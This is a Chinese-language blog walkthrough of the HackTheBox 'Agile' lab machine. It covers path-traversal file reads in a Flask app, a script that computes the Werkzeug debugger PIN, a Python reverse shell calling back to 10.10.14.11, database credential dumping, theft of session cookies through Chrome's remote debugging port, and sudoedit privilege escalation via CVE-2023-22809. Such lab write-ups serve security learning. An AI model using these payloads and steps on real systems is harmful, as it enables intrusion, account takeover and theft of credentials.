HackTheBox-Agile
本文最后更新于 270 天前,其中的信息可能已经有所发展或是发生改变。

配置完后注册个账号,进入到 /vault

发现有导出功能,拦截一下,观察到跳转到 /download 下执行

跟踪过去发现再发包会返回文件不存在 /tmp/...,尝试目录穿越读 /etc/passwd

先读一下 /proc/self/cmdline

/app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5000 --thread=10 --timeout 600 wsgi:app

因为是 python 的站点,考虑读源码,通过报错,可以得到几个路径

/app/venv/lib/python3.10/site-packages/flask/app.py
/app/venv/lib/python3.10/site-packages/flask_login/utils.py
/app/app/superpass/views/vault_views.py

最后一个看着像是工作目录,从 /app/app/superpass 开始遍历一下常见的 python 文件,读到 /app/app/superpass/app.py

import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)

def register_blueprints():
    from superpass.views import home_views
    from superpass.views import vault_views
    from superpass.views import account_views

    app.register_blueprint(home_views.blueprint)
    app.register_blueprint(vault_views.blueprint)
    app.register_blueprint(account_views.blueprint)

def setup_db():
    db_session.global_init(app.config['SQL_URI'])

def configure_login_manager():
    login_manager = LoginManager()
    login_manager.login_view = 'account.login_get'
    login_manager.init_app(app)

    from superpass.data.user import User

    @login_manager.user_loader
    def load_user(user_id):
        from superpass.services.user_service import get_user_by_id
        return get_user_by_id(user_id)

def configure_template_options():
    jinja_partials.register_extensions(app)
    helpers = {
        'len': len,
        'str': str,
        'type': type,
    }
    app.jinja_env.globals.update(**helpers)

def load_config():
    config_path = os.getenv("CONFIG_PATH")
    with open(config_path, 'r') as f:
        for k, v in json.load(f).items():
            app.config[k] = v

def configure():
    load_config()
    register_blueprints()
    configure_login_manager()
    setup_db()
    configure_template_options()

def enable_debug():
    from werkzeug.debug import DebuggedApplication
    app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
    app.debug = True

def main():
    enable_debug()
    configure()
    app.run(debug=True)

def dev():
    configure()
    app.run(port=5555)

if __name__ == '__main__':
    main()
else:
    configure()

还有就是 vault_views.py

import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password

blueprint = flask.Blueprint('vault', __name__, template_folder='templates')

@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
    passwords = password_service.get_passwords_for_user(current_user.id)
    print(f'{passwords=}')
    return {'passwords': passwords}

@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
    p = Password()
    p.password = get_random(20)
    return {"p": p}

@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}

@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}

@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not (site or username or password):
        return ''

    p = password_service.add_password(site, username, password, current_user.id)
    return flask.render_template('vault/partials/password_row.html', p=p)

@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not (site or username or password):
        flask.abort(500)

    p = password_service.update_password(id, site, username, password, current_user.id)

    return {"p": p}

@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
    password_service.delete_password(id, current_user.id)
    return ''

@blueprint.get('/vault/export')
@login_required
def export():
    if current_user.has_passwords:        
        fn = password_service.generate_csv(current_user)
        return flask.redirect(f'/download?fn={fn}', 302)
    return "No passwords for user"

@blueprint.get('/download')
@login_required
def download():
    r = flask.request
    fn = r.args.get('fn')
    with open(f'/tmp/{fn}', 'rb') as f:
        data = f.read()
    resp = flask.make_response(data)
    resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
    resp.mimetype = 'text/csv'
    return resp

其他的文件都是可以通过 from 或是 import 里的信息读出来


貌似我们可以通过 /vault/row/<id> 这个路由读取其他用户的 id,包括我在做完之后搜网上其他师傅的 wp 也有这么说的,这可能是之前的一个 bug,但是现在肯定是不行的,只能通过这个路由查询自己添加过的

因为代码里写的很清楚

password_service.get_password_by_id(id, current_user.id)

然后再去读 get_password_by_id() 这个函数

#/app/app/superpass/services/password_service.py

def get_password_by_id(id: int, userid: int) -> Optional[Password]:

    session = db_session.create_session()
    password = session.query(Password)\
        .filter(
            Password.id == id,
            Password.user_id == userid
        ).first()

    session.close()

    return password

也就是说只有 Password.idPassword.user_id 两个条件同时满足的时候才会返回 password 值,但是事实上传进来的 Password.user_id 是在 /vault/add_row 这个路由下添加的时候通过 session 写死的,所以只能查自己 session 添加过的,不能查别人的

那么能不能在查询的路由下伪造 session 呢,应该是不行的,因为 app.config['SECRET_KEY'] = os.urandom(32) 里写了 SECRET_KEY 是随机生成的(当然也可以尝试利用 flask-unsign 进行爆破,但是并不会爆破出来)

我也尝试读取了环境变量 /proc/self/environ

LANG=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HOME=/var/www
LOGNAME=www-data
USER=www-data
INVOCATION_ID=3c074000b6b043829b35b3f4f97c8acf
JOURNAL_STREAM=8:32205
SYSTEMD_EXEC_PID=1076
CONFIG_PATH=/app/config_prod.json

#/app/config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

当前环境下也不存在 SSTI 利用的可能,那就只能考虑报错时出现的 PIN 码的利用了;以前打 CTF 比赛的时候遇到过,需要获取几个值,源码可以读 /app/venv/lib/python3.10/site-packages/werkzeug/debug/init.py

# machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

这里主要是 machine-id 的问题,可以看出来最后得到的值,是由两部分组成,前面是 /etc/machine-id 或是 /proc/sys/kernel/random/boot_id 的值,后面是proc/self/cgroup 里面第二个 / 后的值

ed5b159560f54721827644bc9b220d00 #/etc/machine-id
b60932b0-b65b-4d64-a4ce-c184f981b791 #/proc/sys/kernel/random/boot_id
0::/system.slice/superpass.service #/proc/self/cgroup
username #运行flask所登录的用户名 --> www-data
modname #一般默认为 --> flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) #一般情况下为 Flask,但是这里经过测试是 wsgi_app
getattr(mod, '__file__', None) #/app/venv/lib/python3.10/site-packages/flask/app.py
get_machine_id() #/etc/machine-id --> ed5b159560f54721827644bc9b220d00superpass.service
str(uuid.getnode() #/sys/class/net/eth0/address 转十进制 -->345052363254

最后改个脚本计算就可以

import hashlib
from itertools import chain
probably_public_bits = [
    'www-data',# username
    'flask.app',# modname
    'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '345052363254',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

进入以后直接 kali 起监听,弹 shell 回来

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

因为刚刚读到了 /app/config_prod.json,所以可以尝试 mysql 连接

mysql> use superpass;
mysql> select * from passwords;
select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date        | last_updated_data   | url            | username | password             | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
|  3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf     | 762b430d32eea2f12970 |       1 |
|  4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com    | 0xdf     | 5b133f7a6a1c180646cb |       1 |
|  6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog        | corum    | 47ed1e73c955de230a1d |       2 |
|  7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster   | corum    | 9799588839ed0f98c211 |       2 |
|  8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile          | corum    | 5db7caa1d13cc37c9fc2 |       2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)

尝试 SSH 登录,本机开个 http.server,curl 下载下来 pspy64 和 linpeas.sh,但是下载到 /tmp 过会就没了……,换个目录执行

起了个 chrome,再看下端口使用情况

SSH 反连下远端调试端口 41829 到本地,访问是个空页面

ssh -L 8099:127.0.0.1:41829 corum@superpass.htb

扫了下目录发现有个 /json

websocat 连接

./websocat -v ws://127.0.0.1:8099/devtools/page/7B81BC45AE6474AC340BC92CF349549B

通过前面的渗透流程知道,用户密码的获取是依据登录账户的 session 信息获得的,所以以获取当前端口服务下的 session 为目标

{"id":1,"method":"Network.getAllCookies"}
{"id":1,"result":{"cookies":[{"name":"remember_token","value":"1|13a30af570feca141af42e12626bbcc4fa5c0d51cd6712db117d79cb9258f2690b7927797fafef273d5e35ad3ed1a592eef2c806b4234789c7cf38356440934e","domain":"test.superpass.htb","path":"/","expires":1722828663.628752,"size":144,"httpOnly":true,"secure":false,"session":false,"priority":"Medium","sameParty":false,"sourceScheme":"NonSecure","sourcePort":80},{"name":"session","value":".eJwlzjkOwjAQAMC_uKbYy2snn0HeS9AmpEL8HSTmBfNu9zryfLT9dVx5a_dntL1x6FxEI2cX1lATrF6KSgYjJDcv24LSRQu2bqQwPXGymkPMEIMAjpDRO6DjcqqZqoOjWBxRQYEsmXHgxCUhsNzTRhh2kvaLXGce_w22zxef3y7n.ZM8T9w.-w4P5Pdo7Kde4PTo_7dI845Ajyg","domain":"test.superpass.htb","path":"/","expires":-1,"size":215,"httpOnly":true,"secure":false,"session":true,"priority":"Medium","sameParty":false,"sourceScheme":"NonSecure","sourcePort":80}]}}

得到 session 后需要找到站点登录,恰好之前信息收集的时候得到了信息

SSH 反连 5555 回来,直接替换 session

SSH 再登陆 edwards:d07867c6267dcb5df0afsudo -l 先看下

Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

pspy64 收集定时任务信息,以 root 权限执行文件 /app/venv/bin/activate

同时也能看到定期清除 /tmp 下文件

所以思路其实还是修改这个文件达到提权的目的,但是当前用户并不能修改这个文件

edwards@agile:~$ ls -al /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug  6 08:24 /app/venv/bin/activate

想到刚刚 sudo -l 下出现的 sudoedit,google 一下看看不能利用,找到了 CVE-2023-22809

直接利用

sudo -u dev_admin EDITOR='vim -- /app/venv/bin/activate' sudoedit /app/config_test.json

添加可以提权的命令,保存后等会就行

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇